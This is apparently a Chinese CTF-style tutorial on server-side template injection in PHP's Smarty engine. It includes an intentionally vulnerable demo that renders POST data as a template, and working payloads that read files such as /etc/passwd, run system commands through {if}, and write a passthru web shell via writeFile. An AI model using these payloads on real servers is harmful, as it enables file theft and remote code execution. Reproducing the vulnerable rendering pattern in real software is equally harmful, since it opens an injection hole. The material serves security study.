PHP的Smarty服务器端模板注入

前言

Smarty模板引擎:
Smarty 模板是基于 PHP 开发的模板,我们可以利用 Smarty 实现程序逻辑与页面显示(HTML/CSS)代码分离的功能。
demo

1
2
3
4
5
6
7
8
9
<?php
require_once('./libs/' . 'Smarty.class.php'); //这行代码引入了Smarty模板引擎的核心类文件。它使用了require_once函数来确保只加载一次文件,"."符号用于连接目录路径和文件名,
$smarty = new Smarty();
//这行代码创建了一个Smarty对象的实例,即初始化了Smarty模板引擎。通过这个实例,我们可以使用Smarty提供的功能和方法。
$ip = $_POST['data'];
//这行代码从POST请求中获取名为"data"的数据,并将其赋值给变量"$ip"。
$smarty->display('string:'.$ip);
//这行代码使用Smarty的"display"方法来渲染和显示模板。通过"string:"前缀,Smarty将要显示的内容当作字符串来处理,而不是读取一个模板文件。这里,它将显示变量"$ip"的值。
?>

总结起来,这段代码的功能是使用Smarty模板引擎来接收通过POST方法提交的数据,然后将这些数据作为字符串进行渲染和显示。此时基本满足我们对有SSTI此时的需求

SSTI模板类型的判断

SSTI

SSTI就是服务器端模板注入 (Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。(并不全是python)
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。
因为在前面的flask-ssti中已经详细说过ssti,这里就不在过多赘诉了

1
简单来说就是{{}}作为变量包裹标识符号,服务器在渲染的时候会把被包裹的内容当作变量解析替换并输出解析之后的东西导致我们可以进行RCE

常见攻击方法

在模板注入中我们进行攻击的方式所依赖的是模板引擎中的各种标签,标签为了实现功能,很多时候会进行命令执行等操作,有时一些正常的功能也会被恶意利用而导致一系列的问题,下面就来总结一下常用的标签。

任意文件读取

该漏洞的成因是由于{include}标签导致的,当我们设置成’string:’我们的include的文件就会被单纯的输出文件内容

payload

1
string:{include file='D:\flag.txt'}

标签

{$smarty.version}

作用:获取smarty版本信息

{literal}

1
2
此标签的利用方法仅仅是在php5.x的版本中才可以使用,因为在 PHP5 环境下存在一种 PHP 标签,<script>language="php"></script>,我们便可以利用这一标签进行任意的PHP代码执行。但是在php7的版本中{literal}xxxx;{/literal}标签中间的内容就会被原封不动的输出,并不会解析。
作用:{literal}可以让一个模板区域的字符原样输出,这个经常用于保护javascript或者css样式表,避免因为smarty的定界符而错被解析。所以此时我们就可以利用这个性质来进行一个xss攻击ssti等利用

{if}

1
Smarty的{if}条件判断和PHP的if非常的相似,只是增加了一些特性。每一个{if}必须要有一个配对的{/if},此时也可以使用{else}和{elseif},此时全部的PHP表达式和函数都可以在{if}标签中使用

payload:

1
2
3
4
{if phpinfo()}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

{php}

但是这个方法在Smarty3版本中已经被禁用了

1
{php}phpinfo();{/php}

访问类的静态成员或者静态方法

在Smarty模板引擎中,self关键字代表当前类本身,通常用于访问类的静态成员或者静态方法

getStreamVariable()

此时我们可以先看payload

1
{self::getStreamVariable("file:///etc/passwd")}

此时在getStreamVariable()可以利用这个方法来读文件
getStreamVariable()方法的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//值得注意的是$variable就是我们要传递的文件的路径。

值得注意的是这个方法之存在于Smarty<=3.1.29的版本,在Smarty 3.1.30版本中官方以及删除这个方法
tips:
可以使用

1
{$smarty.template}

来确定当前的版本信息

wirteFile()

writeFile()方法源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
$_file_perms = property_exists($smarty, '_file_perms') ? $smarty->_file_perms : 0644;
$_dir_perms = property_exists($smarty, '_dir_perms') ? (isset($smarty->_dir_perms) ? $smarty->_dir_perms : 0777) : 0771;
if ($_file_perms !== null) {
$old_umask = umask(0);
}

$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $_dir_perms, true);
}

// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

此时我们注意看下面这段代码

1
2
3
4
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

此时这段代码会将文件内容写入临时文件,如果写入失败,则会恢复先前的错误报告级别,并抛出异常
此时我们先进行一个文件的写入,此时我们观察到在loadCompiledTemplate()函数下面存在下列语句

1
2
3
eval("?>".file_get_contents($this->filepath));
//这行代码的功能是将指定文件的内容读取并作为PHP代码进行评估执行。它使用了PHP的file_get_contents函数来获取文件内容,然后将内容字符串作为PHP代码传递给eval函数进行执行。
"?>":将读取到的文件内容字符串前面拼接上字符串"?>"。这是为了确保读取到的内容作为PHP代码时可以正常解析和执行,因为"?>"表示PHP代码的结束标记。

此时我们就有了

1
2
3
4
5
6
7
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
ps:
我们将<?php passthru($_GET['cmd']); ?>写入了临时php文件中

self::clearConfig() 是一个 Smarty 内部方法,用于清除模板引擎的配置选项。

$SCRIPT_NAME 是一个在 PHP 中预定义的变量,用于表示当前执行脚本的文件路径和名称。